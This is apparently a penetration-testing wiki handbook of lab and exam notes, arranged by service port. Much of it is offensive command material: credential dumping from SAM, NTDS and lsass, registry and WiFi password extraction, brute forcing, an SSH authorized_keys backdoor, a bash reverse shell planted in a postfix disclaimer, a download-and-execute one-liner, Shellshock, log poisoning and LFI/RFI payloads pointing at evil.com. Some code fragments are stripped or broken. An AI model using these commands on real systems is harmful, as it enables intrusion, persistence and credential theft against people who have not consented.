<syntaxhighlight lang="bash">
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
</syntaxhighlight>

=== Check if shell is 64-bit ===

<syntaxhighlight lang="powershell">
[Environment]::Is64BitOperatingSystem
</syntaxhighlight>

=== Decompile .NET exe file ===

<syntaxhighlight lang="bash">
# Use dotpeek or dnSPY
https://www.jetbrains.com/decompiler/
https://github.com/dnSpy/dnSpy
</syntaxhighlight>

=== Dump hashes from NTDS.dit using secretdump.py ===

<syntaxhighlight lang="bash">
# Location C:\Windows\ or C:\Windows\System32\
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
</syntaxhighlight>

=== Dumping Domain password hasehs ===

<syntaxhighlight lang="bash">
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow
https://pentestlab.blog/tag/diskshadow/
</syntaxhighlight>

=== Dump creds frol lsass.dmp ===

<syntaxhighlight lang="bash">
# https://github.com/skelsec/pypykatz
# See writeup for HTB Blackfield
pypykatz lsa minidump lsass.DMP
</syntaxhighlight>

=== Find writeable directories ===

<syntaxhighlight lang="bash">
# Find writable directories
dir /a-r-d /s /b
</syntaxhighlight>

=== Find .NET version using regkey ===

<syntaxhighlight lang="bash">
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
</syntaxhighlight>

=== Executing MSI on Windows ===

<syntaxhighlight lang="bash">
msiexec /quiet /i cmd.msi
</syntaxhighlight>

=== Dump Windows Sam File ===

<syntaxhighlight lang="bash">
reg save hklm\sam c:\sam
reg save hklm\system c:\system
</syntaxhighlight>

=== Run a dll using rundll32.exe ===

<syntaxhighlight lang="bash">
rundll32 C:\Tools\TestDll.dll,run
</syntaxhighlight>

=== Registry dump passwords ===

<syntaxhighlight lang="bash">
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
</syntaxhighlight>

=== Registry dump autologon passwords ===

<syntaxhighlight lang="bash">
reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
</syntaxhighlight>

=== See WiFi password in cleartext ===

<syntaxhighlight lang="bash">
netsh wlan show profile
netsh wlan show profile Profile01 key=clear
</syntaxhighlight>

=== Enviroment variable Location ===

{| class="wikitable"
|-
| %ALLUSERSPROFILE%
| C:\Documents and Settings\All Users
|-
| %APPDATA%
| C:\Documents and Settings\Username\Application Data
|-
| %COMMONPROGRAMFILES%
| C:\Program Files\Common Files
|-
| %COMMONPROGRAMFILES(x86)%
| C:\Program Files (x86)\Common Files
|-
| %COMSPEC%
| C:\Windows\System32\cmd.exe
|-
| %HOMEDRIVE%
| C:\
|-
| %HOMEPATH%
| C:\Documents and Settings\Username
|-
| %PROGRAMFILES%
| C:\Program Files
|-
| %PROGRAMFILES(X86)%
| C:\Program Files (x86) (only in 64-bit version)
|-
| %SystemDrive%
| C:\
|-
| %SystemRoot%
| C:\Windows
|-
| %TEMP% and %TMP%
| C:\Documents and Settings\Username\Local Settings\Temp
|-
| %USERPROFILE%
| C:\Documents and Settings\Username
|-
| %WINDIR%
| C:\Windows
|}

=== List all PowerShell Accelators ===

<syntaxhighlight lang="powershell">
[psobject].assembly.gettype("System.Management.Automation.TypeAccelerators")::Get
Key Value
--- -----
Alias System.Management.Automation.AliasAttribute
AllowEmptyCollection System.Management.Automation.AllowEmptyCollectionAttribute
AllowEmptyString System.Management.Automation.AllowEmptyStringAttribute
AllowNull System.Management.Automation.AllowNullAttribute
ArgumentCompleter System.Management.Automation.ArgumentCompleterAttribute
array System.Array
bool System.Boolean
byte System.Byte
char System.Char
....
</syntaxhighlight>

----

== PROOFS ==

=== Linux ===

<syntaxhighlight lang="bash">
echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
</syntaxhighlight>

== HELP! I'm stuck - What to do when stuck ==

The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis' notes.]

=== Initial access ===

==== Web discovery ====

* Search for <code>http://site/[hostname]</code> if you can't find a directory or software you think should exist.

* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.

* Fuzz parameters with ffuf.

* Examine response headers for minor custom errors.

==== Getting a shell ====

* To save time, upload a web shell instead of manually executing PHP commands.

* Some PHP local file inclusion vulnerabilities can reference remote resources with <code>?path=http://[kali ip]/rev-shell.php</code>.

* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.

* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: <code>wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf</code>

* If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.

* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.

* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add <code>exit(0)</code> in the python script after the account is created and use the credentials for another exploit.

* Use the same ports the box has open for shell callbacks.

* Try at least 4 ports and ping when trying to get a callback.

* If you can control data being read to the server, always consider serialization.

* Always test payloads locally, especially if it's blind.

* Consider where can you write data to that's then read back in to the server.

==== General ====

* Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.

* Check version numbers to ensure something isn't a false flag.

* Consider similar protocols. If you get an SSH key, try using it over SCP.

* Type version numbers carefully!

* For hydra always do -e nsr. Example: <code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I</code>

* Look for <code>auth-owners</code> in nmap to get usernames.

* FTP - always be in a directory on kali that's writable to download files.

* FTP brute force "admin".

* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].

* Search a software's Github page for version files that would give specific information.

* See Proving Grounds' Dibble for node.js RCE.

* Review page source code for commented out areas for every page.

* Guess parameters. If there's a POST forgot_pass.php with an email param, try <code>GET /forgot_pass.php?email=%0aid.</code>

* Parameter/command injection fuzzing:
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]

* <code>ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde</code>

* See Proving Grounds' Hetemit for an example

* When brute forcing credentials, guess the software name as the username and password.

* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

=== Windows Privilege Escalation ===

* Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\.

* Always test a reverse shell on a windows box when attempting to get a shell.

* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.

* Identify all users. Attempt to brute force authentication via RDP

* Always view "C:\program files" and "C:\program files (x86)" for installed apps.

=== Linux Privilege Escalation ===

* Privesc scripts aren't always right:
e.g. a decoy exist item in crontab when <code>sudo -l</code> reveals a process dumper used to get credentials from memory.

* If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.

* <code>su root</code> is the best way to switch to root if you have a password but aren't in root group.

* Identify all users. Attempt to brute force auth ssh if <code>/home</code> or <code>/etc/passwd</code> is pulled.

* Always run <code>echo $PATH</code> to show available commands/locations.

* Docker - see Proving Grounds' Sirol/Escape box.

* If a user is in a group, it's probably for a reason.

* Fully understand software that's related to a user's group (e.g. fail2ban group).

* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see

* Run <code>groups</code>.

* <code>cat ~/.profile && cat ~/.bashrc</code>.

* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.

* If another user exist, always <code>su [user]</code> with no password and their name as the password.

* Check <code>/var/backups</code>.

* Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
Examine each and every SUD!

* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.

* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl

* Try kernel exploits! If no <code>gcc </code>installed, compile on kali with <code>gcc --static</code>

* Files with caps / capabilities - see Proving Grounds' Escape box.
[[Category:Handbooks]]

Handbook I - Basic

2026-06-03T13:41:48Z

Administrator: /* 5985, 5986 - WinRM */

== Enumeration is key ==

* Look over the ports and scans. Get an idea of what you're working with.

* Dont just jump on a port and start hacking

* Find service and versions

* Find known service bugs

* Find config issues

* Find vulnerabilities using '''Searchsploit''' every service/app available

* Enumerate each service closely. Look at the header using nc/telnet.

* Default credentials (admin:admin, admin:secret, admin:pass etc…)

----

== Useful websites ==

[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]

[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]

[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]

----

== RedTeam Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]

== WebApp Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]

== Network Mapping ==
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.
=== Angry IP Scanner ===
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]
[[File:2024-08-image-1.png|thumb]]
=== NMAP ===
Fast scan to list open ports
<syntaxhighlight lang="bash">
nmap -p- --min-rate 10000
</syntaxhighlight>
Scan using default scripts and list version, output to nmap.result
<syntaxhighlight lang="bash">
nmap -sC -sV -oN nmap.result
</syntaxhighlight>
Default nmap command to run against target
<syntaxhighlight lang="bash">
nmap -sC -sV -sU -p- --min-rate 10000 -oN outfile
</syntaxhighlight>
=== Quick port scan script ===
<syntaxhighlight lang="bash">
#!/bin/bash
host=192.168.1.1
for port in {1..65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"
</syntaxhighlight>

=== Ping scan one-liner ===
<syntaxhighlight lang="bash">
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
</syntaxhighlight>

=== PRTG Network Monitor ===

[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]

=== SoftPerfect Network Scanner ===

[https://www.softperfect.com https://www.softperfect.com]
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.

Free version limit: Only 10 devices.

[[File:2024-08-image.png|thumb]]

----
== 21 - FTP ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 21
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ftp:// -u -vV
# Try default usernames like admin:admin, admin:password etc
</syntaxhighlight>

=== Default credentials ===

<syntaxhighlight lang="bash">
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
</syntaxhighlight>

=== Downlad file ===

<syntaxhighlight lang="bash">
get
# Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
</syntaxhighlight>

=== Upload file ===

REMEMBER! If uploading binary, type 'binary' into console otherwise the binary wont work.

<syntaxhighlight lang="bash">
put
</syntaxhighlight>

----

== 22 - SSH ==

=== Create SSH Tunnel from target to attacker ===

<syntaxhighlight lang="bash">
# CREATE dedicated reverse ssh account on pentest1
sudo useradd -m -s /bin/bash user
ssh-keygen -t ed25519 -f user -C "user"
sudo mkdir -p /home/user/.ssh
sudo chmod 700 /home/user/.ssh
sudo sh -c 'cat user.pub >> /home/user/.ssh/authorized_keys'
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown -R user:user /home/user/.ssh
chmod 700 /home/user
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user
# ON target, portforward
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.
icacls .\key.txt /inheritance:r
ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &
# In hosts file add the dc hostname and tie to localhost on pentest1
127.0.0.1 DC.domain.local

# From attacker windows machine.
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .
# This will reach the linux machine and make them accessible to me.
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445
</syntaxhighlight>

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 22
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ssh:// -u -vV
</syntaxhighlight>

=== Config files ===

<syntaxhighlight lang="bash">
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
</syntaxhighlight>

=== Backdoor ===

<syntaxhighlight lang="bash">
# Attacker
ssh-keygen -f
chmod 600
cat .pub -> copy
# Victim - Remember to chmod 600 authorized_keys
echo .pub >> /.ssh/authorized_keys
# Connect
ssh -i @
</syntaxhighlight>

=== Debian OpenSSL Predictable PRNG ===

<syntaxhighlight lang="bash">
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md
# https://github.com/g0tmi1k/debian-ssh
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server
# On the attacker machine, add the following line in /etc/ssh/ssh_config:
PubkeyAcceptedKeyTypes +ssh-dss
# Get the debian SSH repo:
git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:
cd debian-ssh/common_keys/dsa/1024/
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9'

# Flags for common error
# flag for algorithm
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
# flag for public key
-oPubkeyAcceptedKeyTypes=+ssh-dss
# flag for cipher
-c aes128-cbc
</syntaxhighlight>

=== Decrypt RSA ===

<syntaxhighlight lang="bash">
ssh2john [id_rsa private key file] > [output file]
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
</syntaxhighlight>

=== Key file ===

<syntaxhighlight lang="bash">
/home/user/.ssh/authorized_keys
/home/usr/.ssh/id_rsa
</syntaxhighlight>

=== Restriction SSH public key ===

<syntaxhighlight lang="bash">
from="192.168.1.150",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user
</syntaxhighlight>

=== SSH when no interactive shell ===

<syntaxhighlight lang="bash">
ssh kali@10.11.0.4 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa kali@10.11.0.4
</syntaxhighlight>

=== SHELLSHOCK exploit ===

<syntaxhighlight lang="bash">
ssh -i id_rsa user@ '() {:;};/bin/bash'
</syntaxhighlight>

----

== 25 ,465, 587 - SMTP ==

=== User enumeration ===

<syntaxhighlight lang="bash">
smtp-user-enum -M -u -t
# Example
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137
</syntaxhighlight>

=== Se ===

=== Send mail ===

<syntaxhighlight lang="bash">
# sendmail
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m "Please open attachment" -u "My job application" -a MyJobApplication.docm
-t : Recipient's email address.
-f : Sender's email address.
-s : SMTP server address.
-m : Message body of the email.
-u : Subject of the email.
-a : File to attach to the email.
# Telnet
telnet 192.168.196.137 25 1 ⨯
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
HELO HELO
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with .
subject: Test
Hello,
This is a test.
Regards,
Me
.
250 2.0.0 Ok: queued as F2824458F9
quit
221 2.0.0 Bye
Connection closed by foreign host.
</syntaxhighlight>

=== SMTP 4.2.x < 4.2.48 - 'Shellshock' ===

[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]

<syntaxhighlight lang="bash">
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443
</syntaxhighlight>

=== Disclaimer exploit ===

<syntaxhighlight lang="bash">
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.
# 1. Add BASH TCP to disclaimer
/etc/postfix$ cat disclaimer
#!/bin/bash
bash -i >& /dev/tcp/192.168.49.196/4444 0>&1
# 2. Send mail to any user
# 3. Receive a connection to our netcat listener.
</syntaxhighlight>

----

== 53 - DNS ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
dig version.bind CHAOS TXT @DNS
</syntaxhighlight>

=== Enumerate DNS info ===

<syntaxhighlight lang="bash">
dnsenum
dnsrecon -d
</syntaxhighlight>

=== Subdomains bruteforce ===

<syntaxhighlight lang="bash">
dnsrecon -D subdomains-1000.txt -d -n
dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com
</syntaxhighlight>

=== Zone transfer ===

<syntaxhighlight lang="bash">
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
dnsrecon -d -a
</syntaxhighlight>

----

== 69 (UDP) - TFPT ==

<syntaxhighlight lang="bash">
# Filename containing spaces fix:
# kali-tftp fails when filename contains spaces.
# Install
sudo apt install -y tftp-hpa
# Commands
tftp [-v] -m binary IP -c get '\Windows\system.ini' system.ini
# \Windows\System32\Drivers\etc\hosts
</syntaxhighlight>

----

== 79 - FINGER ==

----

== 80, 443 - HTTP/HTTPS ==

=== Apache HTTP basic auth - Change password using htpasswd ===

<syntaxhighlight lang="bash">
htpasswd username
# Can also change passwd for webda users with same command
# Example
htpasswd /var/www/web1/passwd.dav test
</syntaxhighlight>

=== Burp Suite ===

When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.

==== Add custom header permanent (Request and Response) ====

[[File:2022-08-image-2.png|thumb]]

[[File:2022-08-image.png|thumb]]

[[File:2022-08-image-1.png|thumb]]

=== Client Fingerprinting ===

From PWK 13.1.4

<syntaxhighlight lang="bash">
# https://github.com/fingerprintjs/fingerprintjs
cd /var/www/html/ && sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip && sudo unzip 2.1.4.zip && sudo mv fingerprintjs-2.1.4/ fp/ && cd fp
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it's "prettified" from within VS Code.
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.

Fingerprintjs2 test

Fingerprintjs2
Your browser fingerprint:

var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) {
return component.value;
});
var murmur = Fingerprint2.x64hash128(values.join(""), 31);
var d2 = new Date();
var timeString =
"Time to calculate the fingerprint: " + (d2 - d1) + "ms";
var details = "Detailed information: ";
if (typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "";
}
}
}
document.querySelector("#details").innerHTML = details;
document.querySelector("#fp").textContent = murmur;
document.querySelector("#time").textContent = timeString;
});

# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:

sudo systemctl start apache2
# Now visit localhost or IP of server
</syntaxhighlight>

[[File:2022-10-image.png|thumb]]

=== Command injection ===

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash
Filter Bypasses
Bypass without space
Bypass with a line return
Bypass with backslash newline
Bypass characters filter via hex encoding
Bypass blacklisted words
Bypass with single quote
Bypass with double quote
Bypass with backslash and slash
Bypass with $@
Bypass with $()
Bypass with variable expansion
Bypass with wildcards
</syntaxhighlight>

=== Directory brute force ===

Try different tools! Sometimes different tools give different results. See Robust box notes for more info.

==== Feroxbuster ====

<syntaxhighlight lang="bash">
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune; Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html
</syntaxhighlight>

==== Gobuster ====

<syntaxhighlight lang="bash">
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]
</syntaxhighlight>

==== ffuf ====

<syntaxhighlight lang="bash">
ffuf -w /path/to/wordlist -u https://target/FUZZ
</syntaxhighlight>

==== wfuzz ====

<syntaxhighlight lang="bash">
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H "X-Forwarded-For: 10.10.10.150" --hc 404
</syntaxhighlight>

=== .htaccess change to allow upload php ===

<syntaxhighlight lang="bash">
cat .htaccess
AddType application/x-httpd-php .evil
</syntaxhighlight>

=== File upload ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]

==== File upload MindMap ====

[[File:2023-06-file-upload-mindmap-1.png|thumb]]

==== Extension ====

[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]

<syntaxhighlight lang="bash">
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
</syntaxhighlight>

==== HTTP PUT ====

<syntaxhighlight lang="bash">
curl -X PUT http:/// -d @ -v
</syntaxhighlight>

==== Web.config ====

[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]

<syntaxhighlight lang="xml">
# Web.cofig file with ASP code at the bottom. Modify at will.

-->
</syntaxhighlight>

=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===

==== Log Poising ====

<syntaxhighlight lang="bash">
# First identify what logs you have access to. Then inject php payload to the access log.
# For example: Apache2 /var/log/apache2/access.log.
# Or: vsftpd /var/log/vsftpd.log
nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
' . shell_exec($_GET['cmd']) . '';?>
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&cmd=whoami
</syntaxhighlight>

==== LFI ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic LFI
http://example.com/index.php?page=../../../etc/passwd
# Null byte
## In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
# Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
# Path and dot truncation
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
# Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
# PHP header file (Windows)

# PHP header file (Linux)
</syntaxhighlight>

==== LFI list ====

<syntaxhighlight lang="bash">
# Linux
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
# Windows
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e
# Both
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
</syntaxhighlight>

==== RFI ====

If webserver dosent execute RFI, see PHP shell_exec further down.

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic RFI
http://example.com/index.php?page=http://evil.com/shell.txt
# Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
# Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
# Bypass allow_url_include
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
# 1. Create a share open to everyone
# 2. Write a PHP code inside a file : shell.php
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php
</syntaxhighlight>

==== PHP Wrappers ====

<syntaxhighlight lang="bash">
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers
# Example
http://10.10.10.10/test.php?file=data:text/plain,hello world
# Example 2
http://10.10.10.10/test.php?file=data:text/plain,
</syntaxhighlight>

=== Scanners ===

